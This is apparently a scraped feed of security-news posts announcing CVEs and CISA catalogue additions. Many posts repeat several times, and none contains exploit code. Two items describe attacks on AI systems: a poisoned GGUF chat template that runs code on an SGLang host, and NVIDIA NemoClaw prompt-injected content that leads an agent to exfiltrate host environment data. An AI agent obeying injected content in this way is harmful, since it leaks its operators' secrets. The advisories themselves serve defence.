CERT/CC issued advisory VU#915947 for SGLang (an AI inference server), CVE-2026-5760, severity 9.8. A poisoned GGUF model file carries a chat-template that SGLang renders through Jinja2 with no sandbox. Arbitrary Python runs on the host. Same root cause as llama-cpp-python (2024) and vLLM (2025). Sandboxed Jinja2 existed the whole time and three frameworks left the line untouched. Any GGUF you did not build yourself runs code on load.

#AI #InfoSec #CyberSecurity #OpenSource #LLM

⚠️ CRITICAL: CVE-2026-7343 in Chrome (Windows <147.0.7727.138) is a use-after-free in Views that could allow renderer sandbox escape. Patch ASAP to mitigate. No known exploits yet. https://radar.offseq.com/threat/cve-2026-7343-use-after-free-in-google-chrome-6725c92f #OffSeq #Chrome #Vulnerability #Security

🚨 New security advisory:

CVE-2026-41873 affects Apache Pony Mail.

• Impact: Remote code execution or complete system compromise possible
• Risk: Attackers can gain full control of affected systems
• Mitigation: Patch immediately or isolate affected systems

Full breakdown:
https://www.yazoul.net/advisory/cve/cve-2026-41873-pony-mail-admin-takeover

#CVE #SecurityPatching #HackerNews

🔴 CVE-2026-41873 - Critical (9.8)

** UNSUPPORTED WHEN ASSIGNED ** Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Pony Mail leading to admin account takeover.

This issue affects all versions of the Lua implementation of Pony Mail....

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41873/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

RE: https://infosec.exchange/@cR0w/116483262430297764

lol

https://www.cve.org/CVERecord?id=CVE-2026-42615

🔎 XSS (HIGH, CVSS 7.2) in GCHQ CyberChef <11.0.0 (CVE-2026-42615): Improper input neutralization in Show Base64 offsets lets attackers inject scripts remotely — info theft/session hijack possible. No fix yet. Avoid untrusted input. https://radar.offseq.com/threat/cve-2026-42615-cwe-79-improper-neutralization-of-i-760a9adb #OffSeq #CyberChef #XSS

MEDIUM severity SSRF (CVE-2026-23773) found in Dell DLm8700 📢. Low-priv remote attackers can trigger server-side requests. No known exploits, no patch yet — restrict access & follow vendor advisories. https://radar.offseq.com/threat/cve-2026-23773-cwe-918-server-side-request-forgery-08701a02 #OffSeq #SSRF #Dell #Cybersecurity

⛔ New security advisory:

CVE-2026-7321 affects multiple systems.

• Impact: Remote code execution or complete system compromise possible
• Risk: Attackers can gain full control of affected systems
• Mitigation: Patch immediately or isolate affected systems

Full breakdown:
https://www.yazoul.net/advisory/cve/cve-2026-7321-firefox-sandbox-escape-leaks-all-user-data

#Cybersecurity #ZeroDay #ThreatIntel

🔴 CVE-2026-7321 - Critical (9.6)

Sandbox escape due to incorrect boundary conditions in the WebRTC: Networking component. This vulnerability was fixed in Firefox ESR 140.10.1.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7321/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Broadcom has a new advisory for a critical vulnerability:

ESM Microservice 15.0 Vulnerability in Apache Tomcat https://support.broadcom.com/web/ecx/security-advisory #Broadcom #ApacheTomCat
---

Cisco has tagged the Internet Systems Consortium and wolfSSL for zero-day reports https://talosintelligence.com/vulnerability_info @TalosSecurity #zeroday
---

From yesterday:

CISA added two vulnerabilities to the KEV catalogue:

- CVE-2026-32202: Microsoft Windows Protection Mechanism Failure Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-32202

- CVE-2024-1708: ConnectWise ScreenConnect Path Traversal Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-1708

- Also, one industrial vulnerability https://www.cisa.gov/news-events/ics-advisories/icsa-26-118-01 #CISA #Microsoft #vulnerability #infosec

CISA Reports Active Exploitation of ConnectWise Flaw

CISA reports active exploitation of ConnectWise ScreenConnect (CVE-2024-1708) that allow for remote code execution and security mechanism bypasses. CISA is requiring patching by May 12, 2026.

**If you're using ConnectWise ScreenConnect, update to the latest patched version ASAP. Your ScreenConnect is being actively exploited to deploy ransomware. If you can't patch right away, restrict access to the ScreenConnect server to trusted networks only and monitor for any signs of unauthorized access or suspicious activity.**
#cybersecurity #infosec #attack #activeexploit
https://beyondmachines.net/event_details/cisa-reports-active-exploitation-of-connectwise-flaw-x-k-o-s-c/gD2P6Ple2L

CISA Sounds Alarm Over Actively Exploited ConnectWise ScreenConnect Flaw, Immediate Patching Urged

Introduction The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued an urgent warning after confirming active exploitation of a serious vulnerability affecting ConnectWise ScreenConnect, one of the most widely used remote access and IT support platforms in enterprise environments. The flaw, tracked as CVE-2024-1708, has now been officially added to…

https://undercodenews.com/cisa-sounds-alarm-over-actively-exploited-connectwise-screenconnect-flaw-immediate-patching-urged/?utm_source=mastodon&utm_medium=jetpack_social

CISA's KEV catalog now includes CVE-2024-1708 and CVE-2024-1709 (ConnectWise ScreenConnect auth bypass + RCE chain) plus CVE-2026-32202 (Windows Shell). APT28 has been weaponizing these since December 2025. The...

https://captechgroup.com/about-us/threat-intelligence-center/cisa-adds-connectwise-and-windows-flaws-to-kev-cat-8024b8?utm_source=mastodon&utm_medium=social&utm_campaign=threat_intel&utm_content=cisa-adds-connectwise-and-windows-flaws-to-kev-catalog-exploited-by-apt28

Broadcom has a new advisory for a critical vulnerability:

ESM Microservice 15.0 Vulnerability in Apache Tomcat https://support.broadcom.com/web/ecx/security-advisory #Broadcom #ApacheTomCat
---

Cisco has tagged the Internet Systems Consortium and wolfSSL for zero-day reports https://talosintelligence.com/vulnerability_info @TalosSecurity #zeroday
---

From yesterday:

CISA added two vulnerabilities to the KEV catalogue:

- CVE-2026-32202: Microsoft Windows Protection Mechanism Failure Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-32202

- CVE-2024-1708: ConnectWise ScreenConnect Path Traversal Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-1708

- Also, one industrial vulnerability https://www.cisa.gov/news-events/ics-advisories/icsa-26-118-01 #CISA #Microsoft #vulnerability #infosec

CISA Reports Active Exploitation of ConnectWise Flaw

CISA reports active exploitation of ConnectWise ScreenConnect (CVE-2024-1708) that allow for remote code execution and security mechanism bypasses. CISA is requiring patching by May 12, 2026.

**If you're using ConnectWise ScreenConnect, update to the latest patched version ASAP. Your ScreenConnect is being actively exploited to deploy ransomware. If you can't patch right away, restrict access to the ScreenConnect server to trusted networks only and monitor for any signs of unauthorized access or suspicious activity.**
#cybersecurity #infosec #attack #activeexploit
https://beyondmachines.net/event_details/cisa-reports-active-exploitation-of-connectwise-flaw-x-k-o-s-c/gD2P6Ple2L

🚨 [CISA-2026:0428] CISA Adds 2 Known Exploited Vulnerabilities to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0428)

CISA has added 2 new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise.

⚠️ CVE-2024-1708 (https://secdb.nttzen.cloud/cve/detail/CVE-2024-1708)
- Name: ConnectWise ScreenConnect Path Traversal Vulnerability
- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
- Known To Be Used in Ransomware Campaigns? Unknown
- Vendor: ConnectWise
- Product: ScreenConnect
- Notes: https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8 ; https://nvd.nist.gov/vuln/detail/CVE-2024-1708

⚠️ CVE-2026-32202 (https://secdb.nttzen.cloud/cve/detail/CVE-2026-32202)
- Name: Microsoft Windows Protection Mechanism Failure Vulnerability
- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
- Known To Be Used in Ransomware Campaigns? Unknown
- Vendor: Microsoft
- Product: Windows
- Notes: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32202 ; https://nvd.nist.gov/vuln/detail/CVE-2026-32202

#SecDB #InfoSec #CVE #CISA_KEV #cisa_20260428 #cisa20260428 #cve_2024_1708 #cve_2026_32202 #cve20241708 #cve202632202

CVE ID: CVE-2024-1708
Vendor: ConnectWise
Product: ScreenConnect
Date Added: 2026-04-28
CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2024-1708

🟠 CVE-2026-38651 - High (8.2)

Authentication Bypass vulnerability exists in Netmaker versions prior to 1.5.0. The VerifyHostToken function in logic/jwts.go fails to validate the JWT signature when verifying host tokens. An attacker can forge a JWT signed with any arbitrary key...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-38651/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Broadcom has a new advisory for a critical vulnerability:

ESM Microservice 15.0 Vulnerability in Apache Tomcat https://support.broadcom.com/web/ecx/security-advisory #Broadcom #ApacheTomCat
---

Cisco has tagged the Internet Systems Consortium and wolfSSL for zero-day reports https://talosintelligence.com/vulnerability_info @TalosSecurity #zeroday
---

From yesterday:

CISA added two vulnerabilities to the KEV catalogue:

- CVE-2026-32202: Microsoft Windows Protection Mechanism Failure Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-32202

- CVE-2024-1708: ConnectWise ScreenConnect Path Traversal Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-1708

- Also, one industrial vulnerability https://www.cisa.gov/news-events/ics-advisories/icsa-26-118-01 #CISA #Microsoft #vulnerability #infosec

📢 CVE-2026-32202 : faille Windows Shell activement exploitée, liée à APT28
📝 ## 🗓️ Contexte

Publié le 28 avril 2026 par The Cyber Security Hub sur LinkedIn, cet article rapporte la confirmation par Microsoft de l'e...
📖 cyberveille : https://cyberveille.ch/posts/2026-04-29-cve-2026-32202-faille-windows-shell-activement-exploitee-liee-a-apt28/
🌐 source : https://www.linkedin.com/pulse/warning-windows-shell-flaw-cve-2026-32202-actively-em86f
#APT28 #CVE_2026_21510 #Cyberveille

CISA's KEV catalog now includes CVE-2024-1708 and CVE-2024-1709 (ConnectWise ScreenConnect auth bypass + RCE chain) plus CVE-2026-32202 (Windows Shell). APT28 has been weaponizing these since December 2025. The...

https://captechgroup.com/about-us/threat-intelligence-center/cisa-adds-connectwise-and-windows-flaws-to-kev-cat-8024b8?utm_source=mastodon&utm_medium=social&utm_campaign=threat_intel&utm_content=cisa-adds-connectwise-and-windows-flaws-to-kev-catalog-exploited-by-apt28

📢 Patch incomplet d'APT28 : CVE-2026-21510 laisse place à CVE-2026-32202, coercition d'authentification zero-click
📝 ## 🔍 Contexte

Publié le 23 avril 2026 par Maor Daha...
📖 cyberveille : https://cyberveille.ch/posts/2026-04-29-patch-incomplet-d-apt28-cve-2026-21510-laisse-place-a-cve-2026-32202-coercition-d-authentification-zero-click/
🌐 source : https://www.akamai.com/blog/security-research/incomplete-patch-apt28s-zero-day-cve-2026-32202
#APT28 #CVE_2026_21510 #Cyberveille

Microsoft Confirms Active Exploitation of Windows Shell Flaw CVE-2026-32202

Microsoft confirmed active exploitation of CVE-2026-32202, a Windows Shell flaw that allows zero-click NTLM credential theft via malicious LNK files. The vulnerability is an incomplete fix for earlier RCE flaws used by the APT28 threat group in targeted espionage campaigns.

**Apply Microsoft's April 2026 patches immediately to all Windows systems, as this vulnerability steals your credentials just by viewing a folder containing a malicious shortcut file - no clicking required. Block outbound SMB traffic (ports 445 and 139) at your firewall to prevent credential theft.**
#cybersecurity #infosec #attack #activeexploit
https://beyondmachines.net/event_details/microsoft-confirms-active-exploitation-of-windows-shell-flaw-cve-2026-32202-0-8-6-0-i/gD2P6Ple2L

Broadcom has a new advisory for a critical vulnerability:

ESM Microservice 15.0 Vulnerability in Apache Tomcat https://support.broadcom.com/web/ecx/security-advisory #Broadcom #ApacheTomCat
---

Cisco has tagged the Internet Systems Consortium and wolfSSL for zero-day reports https://talosintelligence.com/vulnerability_info @TalosSecurity #zeroday
---

From yesterday:

CISA added two vulnerabilities to the KEV catalogue:

- CVE-2026-32202: Microsoft Windows Protection Mechanism Failure Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-32202

- CVE-2024-1708: ConnectWise ScreenConnect Path Traversal Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-1708

- Also, one industrial vulnerability https://www.cisa.gov/news-events/ics-advisories/icsa-26-118-01 #CISA #Microsoft #vulnerability #infosec

Microsoft Confirms Active Exploitation of Windows Shell Flaw CVE-2026-32202

Microsoft confirmed active exploitation of CVE-2026-32202, a Windows Shell flaw that allows zero-click NTLM credential theft via malicious LNK files. The vulnerability is an incomplete fix for earlier RCE flaws used by the APT28 threat group in targeted espionage campaigns.

**Apply Microsoft's April 2026 patches immediately to all Windows systems, as this vulnerability steals your credentials just by viewing a folder containing a malicious shortcut file - no clicking required. Block outbound SMB traffic (ports 445 and 139) at your firewall to prevent credential theft.**
#cybersecurity #infosec #attack #activeexploit
https://beyondmachines.net/event_details/microsoft-confirms-active-exploitation-of-windows-shell-flaw-cve-2026-32202-0-8-6-0-i/gD2P6Ple2L

Vols d’identifiants sur Windows : Microsoft révèle l’exploitation de la CVE-2026-32202 https://www.it-connect.fr/vols-didentifiants-sur-windows-microsoft-revele-lexploitation-de-la-cve-2026-32202/ #ActuCybersécurité #Cybersécurité #Vulnérabilité #Microsoft #Windows

🚨 [CISA-2026:0428] CISA Adds 2 Known Exploited Vulnerabilities to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0428)

CISA has added 2 new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise.

⚠️ CVE-2024-1708 (https://secdb.nttzen.cloud/cve/detail/CVE-2024-1708)
- Name: ConnectWise ScreenConnect Path Traversal Vulnerability
- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
- Known To Be Used in Ransomware Campaigns? Unknown
- Vendor: ConnectWise
- Product: ScreenConnect
- Notes: https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8 ; https://nvd.nist.gov/vuln/detail/CVE-2024-1708

⚠️ CVE-2026-32202 (https://secdb.nttzen.cloud/cve/detail/CVE-2026-32202)
- Name: Microsoft Windows Protection Mechanism Failure Vulnerability
- Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
- Known To Be Used in Ransomware Campaigns? Unknown
- Vendor: Microsoft
- Product: Windows
- Notes: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-32202 ; https://nvd.nist.gov/vuln/detail/CVE-2026-32202

#SecDB #InfoSec #CVE #CISA_KEV #cisa_20260428 #cisa20260428 #cve_2024_1708 #cve_2026_32202 #cve20241708 #cve202632202

🛡️ Title: Windows Shell Spoofing Vulnerability
Description

🛡️ Protection mechanism failure in Windows Shell allows an unauthorized attacker to perform spoofing over a network.

https://www.cve.org/CVERecord?id=CVE-2026-32202

#cybersecurity #security #windows #microsoft

CVE ID: CVE-2026-32202
Vendor: Microsoft
Product: Windows
Date Added: 2026-04-28
CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2026-32202

Microsoft Confirms Active Exploitation of Windows Shell CVE-2026-32202

https://thehackernews.com/2026/04/microsoft-confirms-active-exploitation.html

Read on HackerWorkspace: https://hackerworkspace.com/article/microsoft-confirms-active-exploitation-of-windows-shell-cve-2026-32202

#cybersecurity #threatintelligence #vulnerability

🟠 CVE-2026-24222 - High (8.6)

NVIDIA NeMoClaw contains a vulnerability in the sandbox environment initialization component, where a remote attacker could cause improper access control by sending prompt-injected content that causes the agent to read and exfiltrate host environm...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-24222/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Nvidia has posted two advisories:

"NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authorization bypass through user-controlled key."

- Critical: CVE-2026-24178, CVE-2026-24186, and CVE-2026-24204: NVIDIA FLARE SDK - April 2026 https://nvidia.custhelp.com/app/answers/detail/a_id/5819

"NVIDIA NemoClaw contains a vulnerability in the sandbox environment initialization component where a remote attacker may cause improper access control by sending prompt-injected content."

- High: CVE-2026-24222 and CVE-2026-24231: https://nvidia.custhelp.com/app/answers/detail/a_id/5837 #Nvidia #infoec #vulnerability

Nvidia has posted two advisories:

"NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authorization bypass through user-controlled key."

- Critical: CVE-2026-24178, CVE-2026-24186, and CVE-2026-24204: NVIDIA FLARE SDK - April 2026 https://nvidia.custhelp.com/app/answers/detail/a_id/5819

"NVIDIA NemoClaw contains a vulnerability in the sandbox environment initialization component where a remote attacker may cause improper access control by sending prompt-injected content."

- High: CVE-2026-24222 and CVE-2026-24231: https://nvidia.custhelp.com/app/answers/detail/a_id/5837 #Nvidia #infoec #vulnerability

🟠 CVE-2026-7288 - High (8.8)

A vulnerability has been found in D-Link DIR-825M 1.1.12. This vulnerability affects the function sub_4151FC of the file /boafrm/formVpnConfigSetup. The manipulation of the argument submit-url leads to buffer overflow. Remote exploitation of the a...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-7288/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

⚠️ CRITICAL: CVE-2026-7248 in D-Link DI-8100 (fw 16.07.26A1) enables remote buffer overflow via 'fn' in CGI Endpoint. No patch available — restrict access & monitor for updates. Exploit code is public. https://radar.offseq.com/threat/cve-2026-7248-buffer-overflow-in-d-link-di-8100-798ac14e #OffSeq #DLink #Vuln #Infosec

Totolink A8000RU (v7.1cu.643_b20200521) faces CRITICAL OS command injection (CVE-2026-7244, CVSS 9.3). Remote, unauthenticated exploit possible. No patch yet — restrict mgmt access & monitor for updates. https://radar.offseq.com/threat/cve-2026-7244-os-command-injection-in-totolink-a80-f82a0e92 #OffSeq #Vuln #RouterSecurity #CVE2026_7244

🚨 CRITICAL OS command injection in Totolink A8000RU (7.1cu.643_b20200521) via setVpnAccountCfg lets remote attackers run arbitrary commands. No patch yet; restrict device access & monitor closely. CVE-2026-7240 https://radar.offseq.com/threat/cve-2026-7240-os-command-injection-in-totolink-a80-cd808cb1 #OffSeq #CVE20267240 #infosec

🟠 CVE-2026-5944 - High (8.2)

An improper access control vulnerability exists in the Cisco Intersight Device Connector for Nutanix Prism Central. The service exposes an API passthrough endpoint on TCP port 7373 that is accessible within the network scope of the deployment envi...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-5944/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2025-67223 - High (7.5)

The Aranda File Server (AFS) component in Aranda Software Aranda Service Desk before 8.3.12 stores daily activity logs with predictable names in a publicly accessible directory, which allows unauthenticated remote attackers to obtain direct virtua...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2025-67223/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🚨 New security advisory:

CVE-2026-40976 affects multiple systems.

• Impact: Remote code execution or complete system compromise possible
• Risk: Attackers can gain full control of affected systems
• Mitigation: Patch immediately or isolate affected systems

Full breakdown:
https://www.yazoul.net/advisory/cve/cve-2026-40976-spring-boot-bypasses-default-security

#CVE #SecurityPatching #HackerNews

Spring Boot Security Update Patches Critical Authentication Bypass and RCE Flaws

Spring Boot reports three vulnerabilities, including a critical authentication bypass (CVE-2026-40976) and flaws allowing session hijacking or remote code execution via timing attacks.

**If you use Spring Boot, upgrade ASAP to a patched version (4.0.6, 3.5.14, 3.4.16, 3.3.19, or 2.7.33). Until patched, restrict access to your applications from trusted networks only and disable DevTools and Actuator endpoints in production.**
#cybersecurity #infosec #advisory #vulnerability
https://beyondmachines.net/event_details/spring-boot-security-update-patches-critical-authentication-bypass-and-rce-flaws-m-w-3-i-y/gD2P6Ple2L

🔴 CVE-2026-40976 - Critical (9.1)

In certain circumstances, Spring Boot's default web security is ineffective allowing unauthorized access to all endpoints. For an application to be vulnerable, it must: be a servlet-based web application; have no Spring Security configuration of i...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-40976/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-27785 - High (8.8)

Specific firmware versions of Milesight AIOT camera firmware contain hard-coded credentials.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-27785/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-24186 - High (8.8)

NVIDIA FLARE SDK contains a vulnerability in FOBS, where an attacker may cause deserialization of untrusted data by sending a malicious FOBS- encoded message. A successful exploit of this vulnerability might lead to code execution.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-24186/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Nvidia has posted two advisories:

"NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authorization bypass through user-controlled key."

- Critical: CVE-2026-24178, CVE-2026-24186, and CVE-2026-24204: NVIDIA FLARE SDK - April 2026 https://nvidia.custhelp.com/app/answers/detail/a_id/5819

"NVIDIA NemoClaw contains a vulnerability in the sandbox environment initialization component where a remote attacker may cause improper access control by sending prompt-injected content."

- High: CVE-2026-24222 and CVE-2026-24231: https://nvidia.custhelp.com/app/answers/detail/a_id/5837 #Nvidia #infoec #vulnerability

🔴 CVE-2026-24178 - Critical (9.8)

NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authorization bypass through user-controlled key. A successful exploit of this vulnerability may lead to...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-24178/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

Nvidia has posted two advisories:

"NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authorization bypass through user-controlled key."

- Critical: CVE-2026-24178, CVE-2026-24186, and CVE-2026-24204: NVIDIA FLARE SDK - April 2026 https://nvidia.custhelp.com/app/answers/detail/a_id/5819

"NVIDIA NemoClaw contains a vulnerability in the sandbox environment initialization component where a remote attacker may cause improper access control by sending prompt-injected content."

- High: CVE-2026-24222 and CVE-2026-24231: https://nvidia.custhelp.com/app/answers/detail/a_id/5837 #Nvidia #infoec #vulnerability

Nvidia has posted two advisories:

"NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authorization bypass through user-controlled key."

- Critical: CVE-2026-24178, CVE-2026-24186, and CVE-2026-24204: NVIDIA FLARE SDK - April 2026 https://nvidia.custhelp.com/app/answers/detail/a_id/5819

"NVIDIA NemoClaw contains a vulnerability in the sandbox environment initialization component where a remote attacker may cause improper access control by sending prompt-injected content."

- High: CVE-2026-24222 and CVE-2026-24231: https://nvidia.custhelp.com/app/answers/detail/a_id/5837 #Nvidia #infoec #vulnerability

🔴 CVE-2026-3893 - Critical (9.4)

The Carlson VASCO-B GNSS Receiver lacks an authentication mechanism,
allowing an attacker with network access to directly access and modify
its configuration and operational functions without needing credentials.

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-3893/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🔴 CVE-2026-41386 - Critical (9.1)

OpenClaw before 2026.3.22 contains a privilege escalation vulnerability where bootstrap setup codes are not bound to intended device roles and scopes during pairing. Attackers can exploit this during first-use device pairing to escalate privileges...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41386/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41395 - High (7.5)

OpenClaw before 2026.3.28 contains a webhook replay vulnerability in Plivo V3 signature verification that canonicalizes query ordering for signatures but hashes raw URLs for replay detection. Attackers can reorder query parameters to bypass replay...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41395/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41404 - High (8.8)

OpenClaw before 2026.3.31 contains an incomplete scope-clearing vulnerability in trusted-proxy authentication mode that allows operator.admin privilege escalation. Attackers can exploit this by declaring operator scopes on non-Control-UI clients, ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41404/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41399 - High (7.5)

OpenClaw before 2026.3.28 accepts unbounded concurrent unauthenticated WebSocket upgrades without pre-authentication budget allocation. Unauthenticated network attackers can exhaust socket and worker capacity to disrupt WebSocket availability for ...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41399/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41912 - High (7.6)

OpenClaw before 2026.4.8 contains a server-side request forgery policy bypass vulnerability allowing attackers to trigger navigations bypassing normal SSRF checks. Attackers can exploit browser interactions to bypass SSRF protections and access re...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41912/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-41405 - High (7.5)

OpenClaw before 2026.3.31 parses MS Teams webhook request bodies before performing JWT validation, allowing unauthenticated attackers to trigger resource exhaustion. Remote attackers can send malicious Teams webhook payloads to exhaust server reso...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-41405/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-42426 - High (8.8)

OpenClaw before 2026.4.8 contains an improper authorization vulnerability where the node.pair.approve method accepts operator.write scope instead of the narrower operator.pairing scope, allowing unprivileged users to approve node pairing. Attacker...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-42426/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 CVE-2026-42423 - High (7.5)

OpenClaw before 2026.4.8 contains an approval-timeout fallback mechanism that bypasses strictInlineEval explicit-approval requirements on gateway and node exec hosts. Attackers can exploit this timeout fallback to execute inline eval commands that...

🔗 https://www.thehackerwire.com/vulnerability/CVE-2026-42423/

#CVE #vulnerability #infosec #cybersecurity #security #Tenda #patchstack

🟠 New security advisory:

CVE-2026-40473 affects multiple systems.

• Impact: Significant security breach potential
• Risk: Unauthorized access or data exposure
• Mitigation: Apply patches within 24-48 hours

Full breakdown:
https://www.yazoul.net/advisory/cve/cve-2026-40473-camel-mina-unauthenticated-rce

#InfoSec #VulnerabilityManagement #CyberSec

Uh… this seems bad https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

Blip blop, I'm a #mastobot.
Here is a summary (in beta) of the latest posts in #programmingAtKukei https://masto.kukei.eu/browse/programming category:
- **Zed 1.0 release**: Zed editor reaches 1.0 milestone, marketed as an AI-native editor with multi-agent support (Claude, Codex, OpenCode).
- **GitHub controversies**: GitHub outages, RCE vulnerability (CVE-2026-3854), and projects migrating away (e.g., Ghostty, BookStack to Codeberg).
- **AI coding tools and incidents**: Claude Code deletes [1/2]

like GitHub Copilot and its shift to usage-based billing

2. **GitHub Issues and Alternatives**
- Frequent GitHub outages and reliability concerns
- Projects migrating from GitHub to alternatives like Codeberg and Radicle
- Security vulnerabilities (e.g., CVE-2026-3854) and criticism from developers

3. **Energy and Sustainability Innovations**
- Sodium-ion batteries becoming mainstream (CATL’s 60 GWh deal)
- Renewable energy advancements (solar, wind, and [2/4]

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

#github

GitHub Patches Critical RCE Vulnerability in GitHub.com and GitHub Enterprise Server

GitHub patched a critical RCE vulnerability (CVE-2026-3854) in its internal git infrastructure that allowed authenticated users to compromise backend servers and access millions of repositories.

**If you run GitHub Enterprise Server (version 3.19.1 or earlier), upgrade immediately to a patched version (3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.8, 3.19.4, 3.20.0, or later) since nearly 90% of instances are still unpatched. Also check your audit logs at `/var/log/github-audit.log` for push operations with unusual special characters in option values to spot any exploitation attempts; if you use GitHub.com or GitHub Enterprise Cloud, no action is needed since GitHub already fixed it.**
#cybersecurity #infosec #advisory #vulnerability
https://beyondmachines.net/event_details/github-patches-critical-rce-vulnerability-in-github-com-and-github-enterprise-server-r-x-e-8-5/gD2P6Ple2L

With Microsoft pushing AI slop & bots hard into every product without any verification and accountability I am not surprised bug like this now exists. Critical GitHub RCE bug exposed millions of repositories including private one that business users like to keep their code private. GitHub Enterprise Server that allowed an attacker with push access to a repository to achieve remote code execution on the instance https://nvd.nist.gov/vuln/detail/CVE-2026-3854

GitHub Emergency Patch Stops Critical RCE Flaw That Could Have Exposed Millions of Private Repositories

Introduction GitHub has quietly prevented what may have become one of the most dangerous software supply chain incidents in recent years. In early March 2026, the company patched a critical remote code execution vulnerability tracked as CVE-2026-3854, a flaw that researchers say could have given attackers access to millions of private repositories worldwide. The…

https://undercodenews.com/github-emergency-patch-stops-critical-rce-flaw-that-could-have-exposed-millions-of-private-repositories/?utm_source=mastodon&utm_medium=jetpack_social

"A single git push command was enough to exploit a flaw in GitHub's internal protocol and achieve code execution on backend infrastructure.
[…]
This research was made possible by AI-augmented reverse engineering tooling, particularly IDA MCP, which allowed us to rapidly analyze compiled binaries and reconstruct internal protocols at a speed that would not have been feasible manually."
https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

Uh… this seems bad https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown

https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

#github

GitHub Patches Critical RCE Vulnerability in GitHub.com and GitHub Enterprise Server

GitHub patched a critical RCE vulnerability (CVE-2026-3854) in its internal git infrastructure that allowed authenticated users to compromise backend servers and access millions of repositories.

